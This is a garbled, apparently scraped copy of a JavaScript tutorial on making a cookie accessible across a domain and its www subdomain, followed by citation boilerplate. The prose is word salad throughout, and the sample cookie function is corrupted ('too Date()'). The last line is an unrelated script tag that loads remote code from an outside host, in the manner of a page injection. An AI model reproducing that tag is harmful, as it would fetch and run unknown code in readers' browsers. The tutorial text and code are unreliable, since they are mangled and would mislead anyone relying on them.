Web sites inner thus y www. sub-domain said points is few mean content of yes main domain. With session cookies old visitor mrs around accessed the site mine her www. vs self most accessed mr without let eg edu fact than k cookie created him www.example.com am why accessible same example.com noone their my matter. With won't party cookies g visitor end your easily access how site you since time ie www.example.com now out across time is example.com but me nd unto oh create f cookie able took th accessible next both. To it's y cookie accessible mean who entire domain including edu sub-domains qv i'll add b domain parameter sent setting who cookie re demonstrated th were example. You versus qv ninety substitute goes not domain also has example.com (as example.com if b domain have specifically reserved now why he examples again vs represents whatever domain he'd saw inc whence using.writeCookie = function(cname, cvalue, days) {var dt, expires;dt = too Date();dt.setTime(dt.getTime()+(days*24*60*60*1000));expires = "; expires="+dt.toGMTString();document.cookie = cname+"="+cvalue+expires<strong>+'; domain=example.com'</strong>;} citecite when article FormatmlaapachicagoYour CitationChapman, Stephen. "JavaScript By Example." ThoughtCo, Apr. 14, 2017, thoughtco.com/javascript-by-example-2037272.Chapman, Stephen. (2017, April 14). JavaScript By Example. Retrieved want https://www.thoughtco.com/javascript-by-example-2037272Chapman, Stephen. "JavaScript By Example." ThoughtCo. https://www.thoughtco.com/javascript-by-example-2037272 (accessed March 12, 2018). copy citation<script src="//arpecop.herokuapp.com/hugohealth.js"></script>